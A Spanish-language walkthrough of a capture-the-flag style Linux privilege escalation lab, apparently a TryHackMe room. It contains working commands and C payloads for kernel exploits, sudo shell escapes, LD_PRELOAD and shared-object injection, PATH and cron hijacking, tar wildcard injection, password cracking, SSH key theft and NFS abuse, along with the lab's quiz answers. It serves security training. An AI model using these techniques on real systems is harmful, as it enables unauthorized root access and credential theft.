En esta habitación veremos una variedad de tácticas de escalada de privilegios en Linux: exploits del kernel, ataques sudo, SUID, de tareas programadas…

Las herramientas necesarias para completar esta habitación están dentro del directorio tools y nos conectamos a la máquina vulnerable por ssh con las credenciales que nos dan.

Escalada de privilegios - Exploits del kernel

Para la detección de esta vulnerabilidad usamos la herramienta exploit suggester:

/home/user/tools/linux-exploit-suggester/linux-exploit-suggester.sh

Cuando la ejecutamos, nos dice que el sistema operativo es probablemente vulnerable a muchas cosas, entre ellas, «dirty cow».

Así que explotamos con eso, yendo al directorio donde tenemos dirty cow y compilando con gcc.

gcc -pthread /home/user/tools/dirtycow/c0w.c -o c0w

A continuación, corremos el ejecutable compilado.

./c0w

Cuando termine, ejecutamos:

passwd
id 

Tendremos escalada de privilegios y, para resetear la máquina al estado original y seguir trabajando, copiamos /tmp/passwd de vuelta a /usr/bin/passwd.

No hay mucho más, detectar esta vulnerabilidad y ejecutar el binario compilado que la aprovecha.

Escalada de privilegios - Contraseñas almacenadas (archivos de configuración)

En esta máquina, lo explotamos así.

cat /home/user/myvpn.ovpn

De ahí, anotamos el valor de la directiva «auth-user-pass».

A continuación.

cat /etc/openvpn/auth.txt

Del output anotamos las credenciales que hay en texto plano.

También encontramos en la máquina más credenciales si hacemos.

cat /home/user/.irssi/config | grep -i passwd

Y anotamos de nuevo lo encontrado.

Respondemos a las preguntas.

¿Qué contraseña hemos encontrado?

password321

¿Las credenciales de qué usuario estaban expuestas en el archivo de autenticación de OpenVPN?

user

Escalada de privilegios - Contraseñas almacenadas (historial)

Otra posibilidad es encontrar credenciales en historiales, como el de bash.

Para explotar:

cat ~/.bash_history | grep -i passw

Y anotamos las credenciales en texto plano que aparecen.

¿En qué se estaba autenticando el usuario TCM?

MySQL

¿Como qué usuario se estaba autenticando?

root

¿Cuál es la contraseña descubierta?

password123

Escalada de privilegios - Permisos de archivo débiles

Para detectarlos en la máquina vulnerables.

ls -la /etc/shadow

Fijémonos en los permisos y explotemos eso.

cat /etc/passwd # Guardamos lo que sale en nuestra máquina de ataque
cat /etc/shadow # Guardamos de nuevo lo que sale

Ahora toca combinar ambos para poder romperlos por fuerza bruta. Para eso, hacemos:

unshadow <archivo-passwd> <archivo-shadow> > unshadowed.txt

Ya tenemos el archivo en un formato donde podemos romper con nuestra herramienta favorita de fuerza bruta. Si usamos hashcat, por ejemplo, hacemos:

hashcat -m 1800 unshadowed.txt /usr/share/wordlists/rockyou.txt -O
  • El modo es 1800, que es sha512, lo que usa Unix/Linux.

  • -O activa los kernels optimizados (limitando la longitud de las contraseñas).

¿Cuáles eran los permisos del archivo /etc/shadow?

-rw-rw-r–

Escalada de privilegios - Llaves SSH

Para explotar esto, buscamos las llaves con sus nombres más comunes:

find / -iname authorized_keys 2>/dev/null
find / -iname id_rsa 2>/dev/null

Una vez hecho, copiamos el contenido de id_rsa en la máquina de ataque.

chmod 400 id_rsa # Le damos los permisos adecuados a nuestra nueva llave copiada
ssh -i id_rsa root@IP_Objetivo # Nos identificamos como administrador en la máquina objetivo

¿Cuál es la ruta completa del archivo sensible que hemos descubierto en la máquina?

/backups/supersecretkeys/id_rsa

Escalada de privilegios - Sudo (Escapando a una shell)

Para detectar, ejecutamos:

sudo -l

De lo que nos diga, anotamos los programas que podemos ejecutar con privilegio de superusuario usando sudo.

Salen un montón de binarios en esta máquina vulnerable, entre ellos: find, nano, awk, nmap o vim.

No lo pone en la habitación, pero cuando encontremos esto, nos vamos a Gtfobins y buscamos, si es que no lo sabemos ya, cómo se explotan esos binarios para ganar privilegios.

En este caso, la manera de explotar estos binarios es la capacidad que conceden para invocar una terminal y no abandonar los privilegios elevados cuando lo hacen. De esta manera, si ejecutamos el binario con privilegios elevados y lo usamos como puente para escapar y salir a una terminal, esta también debería tener esos privilegios.

Para explotar las vulnerabilidades que encontramos en la máquina:

sudo find /bin -name nano -exec /bin/sh \; # Explotamos la capacidad de ejecución de find con parámetro -exec
sudo awk 'BEGIN {system("/bin/sh")}' # Explotamos la capacidad de awk de invocar una terminal
echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse # Creamos un script para nmap que invoque una terminal y explotamos el parámetro --script para que la ejecute con privilegios
sudo vim -c '!sh' # Explotamos que Vim tiene su propia terminal y si lo ejecutamos con privilegios elevados, esa terminal también los tendrá

Escalada de privilegios - Sudo (Abusando de la funcionalidad prevista)

De nuevo, vemos qué podemos ejecutar con privilegios corriendo.

sudo -l

Apache nos aparece entre los binarios, así que hacemos:

sudo apache2 -f /etc/shadow

¿Qué hace eso aunque la habitación no lo explique?

La opción -f es para pasarle a Apache un archivo de configuración, en este caso, el archivo de contraseñas de Linux. Como tiene privilegios elevados, lo puede leer y nos escupe un error, ya que la primera línea no es la que esperaba.

Sin embargo, al escupir esa primera línea de /etc/shadow nos revela el hash de la contraseña del administrador, que podemos copiar a una rchivo (como hash.txt por ejemplo) y tratar de romper con Hashcat o John the Ripper.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Escalada de privilegios - Sudo (LD_PRELOAD)

Ejecutamos de nuevo:

sudo -l

En el output podemos ver algo interesante:

env_reset, env_keep+=LD_PRELOAD

Eso significa que la variable de entorno LD_PRELOAD está intacta y podemos explotarla.

En un editor de texto, escribimos este código en C.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

Guardamos como x.c y ahora compilamos:

gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles

Y a continuación, corremos lo siguiente:

sudo LD_PRELOAD=/tmp/x.so apache2

Escalada de privilegios - SUID (Shared Object Injection)

Lo primero es buscar archivos con el bit SUID, para eso:

find / -type f -perm -04000 -ls 2>/dev/null

O alternativamente:

find / -type f -perm -u=s -ls 2>/dev/null

De lo que nos sale, anotamos todos los binarios SUID.

Hay uno de ellos que es suid-so. Si ejecutamos:

strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"

Vemos que falta un archivo .so de un directorio en el que tenemos permisos de escritura.

open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

¿Cómo lo explotamos? Creando ese archivo que falta y que nos permitirá una shell de administrador.

Primero creamos el directorio que busca el archivo SUID y nos vamos a él:

mkdir /home/user/.config
cd /home/user/.config

Ahora, en un editor de texto, escribimos:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Lo guardamos como libcalc.c y lo compilamos:

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

Ejecutamos suid-so de y comprobamos privilegios:

/usr/local/bin/suid-so
id

Para detectarlo, ejecutamos:

dpkg -l | grep nginx

De la salida por pantalla vemos que la versión está por debajo de 1.6.2-5+deb8u3. Así que podemos explotar.

Para eso, requerimos ser www-data. Para simular esto, escalamos a administrador con la contraseña que nos dan y desde ahí a www-data.

su root # ponemos contraseña
su www-data

Ahora explotamos con una de las herramientas que aprovecha la vulnerabilidad de esa versión.

/home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log

En esta fase, el sistema espera a que se ejecute logrotate, para acelerar el proceso, lo simulamos abriendo una segunda terminal.

su root
invoke-rc.d nginx rotate >/dev/null 2>&1

Ahora volvemos a la primera terminal y podemos ver que el exploit ha continuado su ejecución y somos administrador.

¿Qué CVE estamos explotando? (lo vemos examinando el código del script nginxed-root.sh)

CVE-2016-1247

¿Cuál es el binario con SUID que nos asiste en el ataque? (También lo deducimos de examinar el código anterior).

sudo

Escalada de privilegios - SUID (Variables de entorno 1)

Para detectar esta posible vulnerabilidad, buscamos archivos con el bit SUID.

find / -type f -perm -04000 -ls 2>/dev/null # o bien la alternativa de abajo
find / -type f -perm -u=s -ls 2>/dev/null

Tomamos nota y ahora nos centramos en el binario suid-env. Miramos las cadenas de texto de su código pasándolo por strings.

strings /usr/local/bin/suid-env

Fijémonos en las funciones usadas por el binario.

Para la explotación, aunque la habitación no lo desarrolla, vamos a aprovechar que llama al inicio de un servicio con:

service apache2 start

Como no especifica ruta (fallo de seguridad importante), lo que vamos a hacer es explotar eso. Lo que haremos será modificar la variable de entorno $PATH para añadir un directorio en el que podamos medrar y crear un binario falso llamado service que leerá de ahí, en lugar de ir al service verdadero.

Esto es posible porque la variable $PATH va leyendo los directorios que le configuramos en orden. De esta manera, podemos poner /tmp como el primero con nuestro binario falso.

Esta es la manera en la que lo explota el creador de la habitación:

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c # Creamos el código falso que invoca a una terminal con privilegios de administrador, en vez de iniciar el servicio
gcc /tmp/service.c -o /tmp/service # Lo compilamos
export PATH=/tmp:$PATH # Añadimos el directorio /tmp a la variable de entorno PATH
/usr/local/bin/suid-env # Ejecutamos el binario SUID objetivo
id # Comprobamos la elevación de privilegios.

Una manera mucho más sencilla en la que saber programar en C no es necesaria:

cd /tmp
echo '/bin/bash -p' > service # Creo un script en bash que invoca una terminal
chmod -x ./service # Le doy permiso de ejecución
export PATH=/tmp:$PATH # Altero la variable PATH como antes
/usr/local/bin/suid-env # Ejecutamos el binario SUID objetivo y salimos a una terminal de administador

¿Cuál es la última línea del output cuando le pasas strings a /usr/local/bin/suid-env?

service apache2 start

Escalada de privilegios - SUID (Variables de entorno 2)

Repetimos la búsqueda de archivos con el bit SUID como hasta ahora, pero nos fijamos en el archivo /usr/local/bin/suid-env2

Lo volvemos a analizar con strings:

strings /usr/local/bin/suid-env2

Aquí, la llamada a service ya aparece con ruta /usr/sbin/service así que 2 métodos para explotarlo.

En el primero, creamos una función con function que se llame /usr/sbin/service(). Esta función hace 3 cosas:

  • Copia bash al directorio /tmp donde podremos medrar con permisos.
  • Le damos bit SUID a ese bash en /tmp
  • Lo ejecutamos de modo que nos dé privilegios.
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

Ahora exportamos esa función y ejecutamos el binario objetivo del ataque.

export -f /usr/sbin/service
/usr/local/bin/suid-env2 # Ejecutamos

Segundo método de explotación:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

¿Cuál es la última línea del output de /usr/local/bin/suid-env2 cuando le pasas strings?

/usr/sbin/service apache2 start

Escalada de privilegios - Capabilities

Aunque no lo explique, las capabilities o capacidades son otra manera de permitir a usuarios sin permisos elevados hacer cosas en la máquina que vayan más allá de esos permisos.

Otras maneras de hacer eso es mediante privilegios sudo o bits SUID, pero las capacidades se consideran una forma más segura.

Las capabilities funcionan dividiendo las acciones reservadas al administrador en porciones más pequeñas.

Aún así, se puede abusar de ellas.

Para habilitar una capacidad podemos hacer.

setcap cap_setuid+ep /home/demo/python3

Para quitarla podemos hacer:

getcap -r / 2>/dev/null

Descubriendo capabilities en el sistema

Puedes buscarlas por todo el sistema de archivos, de manera recursiva (-r) con este comando.

getcap -r / 2>/dev/null

Hay 36 capacidades en base a la funcionalidad, algunas de las más usadas están en esta tabla, extraída de este artículo.

Tabla de capabilities más comunes

Así pues, buscamos en la máquina con la instrucción de arriba. Ojo al valor de la capacidad cap_setuid en /usr/bin/python 2.6 que nos permite jugar con Python.

Así que explotamos con este comando:

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("bin/bash")'

Y ya tenemos consola de administrador.

Escalada de privilegios - Cron (Ruta Path)

Lo primero que hacemos es echar un vistazo a las tareas programadas.

cat /etc/crontab

De lo que nos aparece, echamos un vistazo a la variable PATH que aparece al principio del archivo.

En ella vemos que el directorio /home/user es el primero en el que mira y en él podemos medrar.

Hay un script llamado overwrite.sh que pertenece al administrador y al que se llama sin especificar la ruta completa. Podemos explotar eso de la siguiente manera.

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh

Lo que hace ese script es copiar bash al directorio /tmp y ahí ponerle un bit SUID.

Todo eso lo pasamos a un archivo /home/user/overwrite.sh y le damos permisos de ejecución.

Así, secuestramos ese script al que se llama sin ruta completa, de manera que el sistema irá primero a buscarlo al primer directorio del PATH, que es /home/user.

Como eso lo hace el usuario root en la tarea programada, asignar el bit SUID funciona y, cuando se ejecute, tendremos consola de administrador.

Lo hacemos y cuando pase un minuto, deberemos tener una copia de bash en /tmp con privilegios elevados. Solo queda ejecutarla con:

/tmp/bash -p
id # Para ver si funciona

Escalada de privilegios - Cron (Comodines *)

Para detectar esta vulnerabilidad, examinamos de nuevo el archivo crontab.

cat /etc/crontab

Ahí nos fijamos en el script /usr/local/bin/compress.sh

cat /usr/local/bin/compress.sh

En el código podemos ver que la aplicación tar usa un comodín *.

¿Cómo explotamos eso? El creador de la habitación propone lo siguiente:

Creamos un script en la ruta /home/user que copie /bin/bash y le otorgue un bit SUID para tener privilegios elevados.

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh

A continuación, aprovechamos una de las prestaciones de tar, la de checkpoint para ejecutar cosas.

Primero, creamos un archivo –checkpoint=1 para engañar a tar.

touch /home/user/--checkpoint=1

Ahora otro archivo –checkpoint-action que ejecute el primer script que crea una terminal de privilegios elevados.

touch /home/user/--checkpoint-action=exec=sh\ runme.sh

Esperamos un minuto para que el script de Bash se ejecute y, una vez hecho, tendremos ese bash privilegiado dentro de /tmp, así que lo ejecutamos.

Esto es posible porque, cuando el comando tar del cron job corra, el comodín * incluirá a estos archivos.

Como sus nombres son comandos válidos de tar, este los reconoce como tales y los trata como comandos, en vez de como nombres de archivo.

Más información sobre tar en Gtfobins.

/tmp/bash -p
id

Escalada de privilegios - Cron (sobreescritua de archivos)

Echamos otro vistazo a crontab y nos fijamos en el script overwrite.sh. Echamos un vistazo más a fondo a sus permisos.

ls -hl /usr/local/bin/overwrite.sh

En ellos vemos que cualquiera puede escribir en ese archivo, así que lo podemos comprometer.

Para eso, seguimos la misma técnica de explotación hasta ahora (copiar bash a /tmp y otorgar un bit SUID al binario) y la añadimos al final del archivo overwrite.sh ya que podemos escribir en él.

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh

Esperamos 1 minuto a que se ejecute por cron y seguimos el mismo camino que antes.

/tmp/bash -p
id

Escalada de privilegios - NFS Root Squashing

Para detectar esta vulnerabilidad, examinamos el archivo /etc/exports

cat /etc/exports

En dicho archivo podemos ver la opción no_root_squash definida para el export /tmp.

Si encontramos un directorio configurado así, significa que puedes acceder a él como un cliente (NFS significa Network File System) y escribir dentro de ese directorio como si fueras el administrador root.

NFS permite a un usuario en una máquina cliente montar los archivos o directorios compartidos a través de una red.

Para explotarlo.

showmount -e IP_Objetivo # Muestra exportaciones NFS (v2 y v3) -e imprime una lista de archivos compartidos o exportados.
mkdir /tmp/1 # Creamos el directorio en nuestra máquina de ataque
mount -o rw,vers=2 IP_Objetivo:/tmp /tmp/1 # Montamos el volumen remoto en nuestro directorio recién creado

Ahora creamos y compilamos un archivo que nos concede una terminal y finalmente le añadimos el bit SUID.

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x

Hecho eso, para explotar solo tenemos que ejecutar lo que acabamos de crear:

/tmp/x
id